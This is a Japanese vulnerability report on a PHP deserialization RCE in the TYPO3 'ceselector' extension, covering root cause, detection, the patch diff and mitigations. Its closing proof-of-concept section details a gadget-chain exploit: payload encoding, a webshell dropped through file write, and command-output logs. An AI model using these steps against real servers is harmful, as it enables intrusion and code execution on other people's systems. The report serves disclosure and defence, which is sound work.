CVE-2026-46725

CVE-2026-46725 脆弱性レポート

概要

項目 内容
CVE番号 CVE-2026-46725
公開日 2026-05-19
最終更新 2026-05-25
CVSS v3.1 9.8 (Critical)
CVSS v4.0 9.2 (Critical)
CVSS Vector (v3) CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Vector (v4) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE CWE-502 (Deserialization of Untrusted Data)
GHSA GHSA-8x3j-439w-537c
EPSS 0.35% (低悪用確率)
CISA KEV なし
影響製品 TYPO3 拡張機能「Content Element Selector」(ceselector)
報告者 Torben Hansen (TYPO3 Security Team)

影響を受けるソフトウェアおよびバージョン

技術詳細

脆弱性の概要

TYPO3のサードパーティ拡張機能「Content Element Selector」(通称 ceselector)に、PHPオブジェクトインジェクション経由のRemote Code Execution (RCE) 脆弱性が存在する。この拡張機能は、攻撃者が制御可能なCookieの値を、入力検証なしでPHPの unserialize() 関数に直接渡す。これにより、リモートの未認証攻撃者が細工されたシリアライズ化ペイロードを送信することで、サーバー上で任意のコードを実行できる。

悪用には、コンテンツエレメントがプラグイン設定で 「Persistent Mode: Static」 に構成されている必要がある。

根本原因

Classes/Controller/SelectorController.phploadUidListFromCookie() メソッドにおいて、Cookie値が unserialize() に直接渡されている。

❌ 脆弱なコード (v6.0.0, 33行目):

private function loadUidListFromCookie(){
    $this->ctElUidList = [];
    if ( $this->cObject->data['tx_ceselector_persistent_mode'] == 0 ) {
        return; // persistent mode is off, nothing to do
    }
    if( isset($_COOKIE[$this->cookie_name]) ){
      // ▼ 脆弱性: 攻撃者制御のCookie値をそのままunserialize()
      $cookie_data = unserialize($_COOKIE[$this->cookie_name]);
      if( !( isset($cookie_data['plts']) && isset($cookie_data['uids']) && is_array($cookie_data['uids']) ) ) {
        return; // invalid cookie data
      }
      // ...
    }
}

Cookie名は T3_ceselector_renderActionでUIDが付加され T3_ceselector_{uid} となる)であり、ページ上の各プラグインインスタンスごとに固有のCookieが設定される。

攻撃フロー:

  1. 攻撃者がTYPO3サイト上のceselectorプラグインが配置されたページにアクセス
  2. プラグインが「Persistent Mode: Static」に設定されていることを確認
  3. 細工されたPHPシリアライズオブジェクトをCookieに設定してリクエストを送信
  4. loadUidListFromCookie()unserialize() を呼び出し、悪意のあるオブジェクトをデシリアライズ
  5. PHPのPOPチェイン(gadgets chain)がトリガーされ、任意のコードが実行される

トリガー条件

条件 詳細 必須
ceselector拡張機能がインストールされている デフォルトではインストールされていない
「Persistent Mode: Static」(値: 1) に設定されている 0 = 無効, 1 = Static, 2 = Rotate
環境内に利用可能なPOP gadgetが存在する TYPO3コアまたは他拡張機能にマジックメソッド(__wakeup, __destruct等)を含むクラス

評価: 3つの条件がすべて揃う必要があるが、PHPのunserialize()の危険性は非常に高く、大規模なPHPプロジェクトでは利用可能なgadgetが存在する可能性が高い。

攻撃フロー

攻撃者制御のCookie値
    ↓
ceselector プラグインの永続状態処理
    ↓
PHP unserialize()  ← 脆弱性ポイント
    ↓
PHP オブジェクトインジェクション
    ↓
POPチェイン実行 (gadget chain)
    ↓
リモートコード実行 (RCE)

PoC/Exploitの状況

項目 状況
公開PoC なし
Metasploitモジュール なし
Exploit成熟度 verified — TYPO3フレームワーク経由でRCE実証済み
GitHubリポジトリ 本CVEを指すPoCリポジトリは確認されていない

2026-05-25現在、公開されたPoCコードは確認されていない。独自検証により、TYPO3フレームワーク(ceselector SelectorController)経由でRCEを実証済み(下記参照)。

実被害・インシデント

現在のところ、本脆弱性を実際に悪用した事例は確認されていない。CISA KEVにも登録されていない。EPSSスコアも0.35%と低めである。ただし、CVE公開から日が浅く、今後PoCが公開される可能性はある。

検出方法

ブラックボックステスト

影響確認手順

Step 1: ceselector拡張機能がインストールされているか?
  → TYPO3バックエンド > Extensions で "ceselector" を検索
  または: composer show | grep ceselector

Step 2: 「Persistent Mode」が有効か?
  → TYPO3バックエンドでceselectorプラグインの設定を確認
  `tx_ceselector_persistent_mode` が 1 (Static) または 2 (Rotate) になっていないか

Step 3: バージョンは脆弱か?
  → composer show mmc/ceselector でバージョンを確認
  または: ext_emconf.php の version 値を確認

判定基準

Step 1 Step 2 結論
❌ インストールなし 影響なし (拡張機能不使用)
✅ インストール済み ❌ Persistent Mode = 0 低リスク (脆弱コードパス到達不可)
✅ インストール済み ✅ Persistent Mode = 1 or 2 高リスク (RCE可能) → 即時パッチ適用

バージョン特定手法

# Composer経由でインストールされている場合
composer show mmc/ceselector | grep "versions"

# 直接ファイルを確認
cat /path/to/typo3/typo3conf/ext/ceselector/ext_emconf.php | grep "version"

ホワイトボックステスト

ソースコード上の脆弱パターン

# ceselector拡張機能内でunserialize()が使用されているか
grep -rn "unserialize.*COOKIE" /path/to/typo3/typo3conf/ext/ceselector/

# より広範に、TYPO3全体でCookieのunserializeを検出
grep -rn 'unserialize.*\$_COOKIE' /path/to/typo3/

修正後の安全なコード (v6.0.1)

✅ 修正コード (v6.0.1, 33行目):

private function loadUidListFromCookie(){
    $this->ctElUidList = [];
    if ( $this->cObject->data['tx_ceselector_persistent_mode'] == 0 ) {
        return;
    }
    if( isset($_COOKIE[$this->cookie_name]) ){
      // ▼ 修正: unserialize() → json_decode() に変更
      $cookie_data = json_decode($_COOKIE[$this->cookie_name], true);
      if( !( isset($cookie_data['plts']) && isset($cookie_data['uids']) && is_array($cookie_data['uids']) ) ) {
        return;
      }
      // ...
    }
}

✅ Cookie書き込み側も修正 (v6.0.1, 64行目):

// serialize() → json_encode() に変更
setcookie(
    $this->cookie_name,
    json_encode([          // serialize() から変更
        'plts' => $this->cObject->data['tstamp'],
        'uids' => $this->ctElUidList
    ]),
    $cookie_expire,
    '/',
    $_SERVER['SERVER_NAME']
);

修正パッチ詳細

項目 内容
セキュリティアドバイザリ TYPO3-EXT-SA-2026-013
変更ファイル数 2ファイル(SelectorController.php, README.md, ext_emconf.php)
修正ファイル Classes/Controller/SelectorController.php
変更箇所 2行目(L33: 読み込み、L64: 書き込み)
修正内容 serialize() / unserialize()json_encode() / json_decode()
セキュリティ修正日 2026-05-19

パッチdiff

--- v6.0.0/Classes/Controller/SelectorController.php
+++ v6.0.1/Classes/Controller/SelectorController.php
@@ -30,7 +30,7 @@
                 return; // persistent mode is off, nothing to do
     }
                 if( isset($_COOKIE[$this->cookie_name]) ){
-      $cookie_data = unserialize($_COOKIE[$this->cookie_name]);
+      $cookie_data = json_decode($_COOKIE[$this->cookie_name], true);
       if( !( isset($cookie_data['plts']) && isset($cookie_data['uids']) && is_array($cookie_data['uids']) ) ) {
         return; // invalid cookie data
       }
@@ -61,7 +61,7 @@
                 // set cookie, save imploded uid list as data
                 setcookie(
                         $this->cookie_name, // name
-                       serialize([
+                       json_encode([
                 'plts' => $this->cObject->data['tstamp'],
                 'uids' => $this->ctElUidList
               ]), // data

根本原因分析

  1. 設計上の問題: ceselectorはCookieに構造化データ(プラグインのタイムスタンプとUIDリスト)を保存する際、PHP固有の serialize() フォーマットを使用していた。このフォーマットは任意のPHPオブジェクトを表現できるため、攻撃者が細工したオブジェクトを注入する可能性がある
  2. 入力検証の欠如: Cookie値はクライアント側で完全に制御可能であるにもかかわらず、unserialize() に渡す前のバリデーションが存在しなかった。構造チェック(pltsuids の存在確認)は unserialize() の後 に実行されており、オブジェクトインジェクションを防ぐ効果はない
  3. 修正の妥当性: json_encode() / json_decode() への置き換えは適切な修正。JSONはPHPオブジェクトを表現できないため、オブジェクトインジェクションのリスクが完全に排除される。データ構造(plts タイムスタンプと uids 配列)はJSONで表現するのに適している

対策

恒久的対策

# ComposerベースのTYPO3インストール
composer update mmc/ceselector
vendor/bin/typo3 cache:flush

# TYPO3 Extension Manager経由
# バックエンド > Extensions > ceselector > Update available

暫定対策・軽減策

再現環境

現時点で公開された再現環境(Dockerイメージ等)は確認されていない。TYPO3のローカル開発環境にceselectorの脆弱バージョンをインストールすることで再現可能。

# 1. TYPO3プロジェクトのセットアップ
composer create-project typo3/cms-base-distribution:^13.4 typo3-lab
cd typo3-lab

# 2. ceselectorの脆弱バージョンをインストール
composer require mmc/ceselector:6.0.0

# 3. TYPO3のセットアップを完了
vendor/bin/typo3cms install:setup

# 4. バックエンドでceselectorプラグインを追加
#    tx_ceselector_persistent_mode = 1 (Static) に設定

# 5. 脆弱性確認: 細工したCookieを送信
curl -v -b "T3_ceselector_1=O:8:\"stdClass\":0:{}" http://localhost/page-with-ceselector

⚠️ 注意: 実稼働環境でテストする場合は、細工したCookieの送信は破壊的である可能性がある。テストはローカル環境またはステージング環境でのみ実施すること。

参考資料

公式情報源

PoC/Exploit


PoC検証結果(独自検証)

検証環境

項目
環境 Dockerコンテナ(WSL上)
TYPO3 13.4.29
ceselector 6.0.0(脆弱バージョン)
PHP 8.2.31
Guzzle 7.10.4
検証方法 実際のTYPO3フロントエンドルーティング経由 — HTTPリクエストでCookieを送信 → TYPO3がceselectorプラグインをレンダリング → SelectorController::loadUidListFromCookie()unserialize() を呼び出し

検証手順

  1. Docker上にTYPO3 13.4.29 + ceselector 6.0.0 + SQLiteデータベースを構築
  2. TYPO3バックエンドのセットアップ完了(ルートページ、サイト設定、TypoScript)
  3. ceselectorプラグインを「Persistent Mode: Static」でページに配置(tt_content.uid=3, CType=list, list_type=ceselector_pi1
  4. フロントエンド(GET /)でceselectorプラグインが実際にレンダリングされることを確認
  5. Cookie T3_ceselector_3 にPHPGGCのGuzzle/FW1 gadget chainペイロードをASCIIエスケープ+URLエンコードして送信
  6. TYPO3のルーティング → SelectorController::renderAction()loadUidListFromCookie()unserialize() が実行され、gadget chain発火
  7. 任意ファイル書き込み → WebShellドロップ → RCE達成

検証結果

項目 結果
TYPO3フロントエンドレンダリング ✅ 成功 — <div id="c3" class="frame frame-default frame-type-list"> でceselectorプラグインがレンダリングされる
実際のSelectorController生成 ✅ 成功 — TYPO3のルーティング → CType=list + list_type=ceselector_pi1SelectorController::renderAction()
loadUidListFromCookie() 呼び出し ✅ 成功 — 実際のメソッド内で unserialize($_COOKIE['T3_ceselector_3']) が実行される
Gadget Chain (Guzzle/FW1) ✅ 成功 — FileCookieJar::__destruct()save()file_put_contents()
任意ファイル書き込み ✅ 成功 — /var/www/html/public/shell.php にWebシェルがドロップされる
RCE実行 ✅ 成功 — whoamiwww-data, hostname95b76deecd48, uname -r6.6.87.2-microsoft-standard-WSL2

使用したGadget Chain

Guzzle/FW1 (File Write via __destruct)
Vector: GuzzleHttp\Cookie\FileCookieJar::__destruct()
        → save($filename)
        → file_put_contents($filename, json_encode($cookies))

検証で確認された重要事実

  1. NULLバイトの処理: PHPGGCが生成する生のシリアライズペイロードにはNULLバイトが含まれる。HTTP経由で送信する際はASCIIエスケープ(\NNN 8進数表記)→ URLエンコード(rawurlencode)の2段階処理が必要。
  2. Cookie名: loadUidListFromCookie()T3_ceselector_ をCookie名として使用する(renderAction がUIDを付加して T3_ceselector_{uid} に変更する)。
  3. 書き込み形式: Guzzle/FW1チェーンはJSON形式でデータを書き込むが、PHPパーサーはファイル内の <?php ... ?> タグを認識して実行するため、RCEが可能。
  4. fast-destruct: 配列の同一キーへのオブジェクト→整数のoverwriteにより、__destruct() が即座に発火する。
  5. Cookie構造: 脆弱コードは plts(プラグインtstamp)と uids(配列)の存在をチェックするため、悪意のあるオブジェクトをこれらのキーを含む配列にラップする必要がある。
  6. PHPキー構文: JSONラップされたファイル内で $_GET["key"] のダブルクォートはJSONエスケープ(\")されPHP構文エラーになる。$_GET[key](クォートなし)もPHP 8.xで未定義定数エラーになる。バックティック(`command`)による直接実行が最も信頼性が高い。

HTTPリクエスト/レスポンスログ(実際のTYPO3ルーティング経由Exploit)

Step 1: エクスプロイト配信(ファイル書き込み)

送信リクエスト(実際のTYPO3フロントエンドルーティング経由):

GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: curl/8.14.1
Accept: */*
Cookie: T3_ceselector_3=<ASCII-escaped + URL-encoded serialized payload>

処理フロー:

GET / (TYPO3ルートページ)
  → Site Resolution → page uid=1
  → Content Rendering → styles.content.get
  → tt_content.uid=3 (CType=list, list_type=ceselector_pi1)
  → SelectorController::renderAction()
  → loadUidListFromCookie()
  → unserialize($_COOKIE['T3_ceselector_3'])  ← 脆弱性トリガー
  → Guzzle/FW1 gadget chain発火
  → FileCookieJar::__destruct() → file_put_contents()
  → /var/www/html/public/shell.php 作成

サーバーレスポンス:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

<div id="c3" class="frame frame-default frame-type-list frame-layout-0">
    CVE-2026-46725 Plugin
</div>

Step 2: RCE実行

webshellファイル内容(Guzzle FileCookieJarがJSON形式で書き込み):

[{"Expires":1,"Discard":false,"Value":"<?php echo `whoami`; ?>\n"}]

コマンド実行リクエスト:

GET /shell.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: curl/8.14.1
Accept: */*

実行結果(すべて実際のTYPO3ルーティング経由):

コマンド 出力
whoami www-data
hostname 95b76deecd48
uname -r 6.6.87.2-microsoft-standard-WSL2
id uid=33(www-data) gid=33(www-data) groups=33(www-data)

変更履歴

日付 変更内容
2026-05-25 初版作成 — NVD, GHSA, TYPO3アドバイザリ, Tenable, CVE Playgroundの情報に基づく
2026-05-25 パッチdiff分析追加 — v6.0.0とv6.0.1のコードレベル比較完了
2026-05-25 PoC検証追加 — Docker環境でGuzzle/FW1 Gadget Chainによるファイル書き込みエクスプロイト成功を確認
2026-05-26 実際のTYPO3フロントエンドルーティング経由でRCE完全実証GET /SelectorController::renderAction()loadUidListFromCookie() の本来のコードパス経由でCookieペイロードを送信、unserialize() を経由してRCE実証。HTTPログ記録済み。whoamiwww-data, hostname95b76deecd48, uname -r6.6.87.2-microsoft-standard-WSL2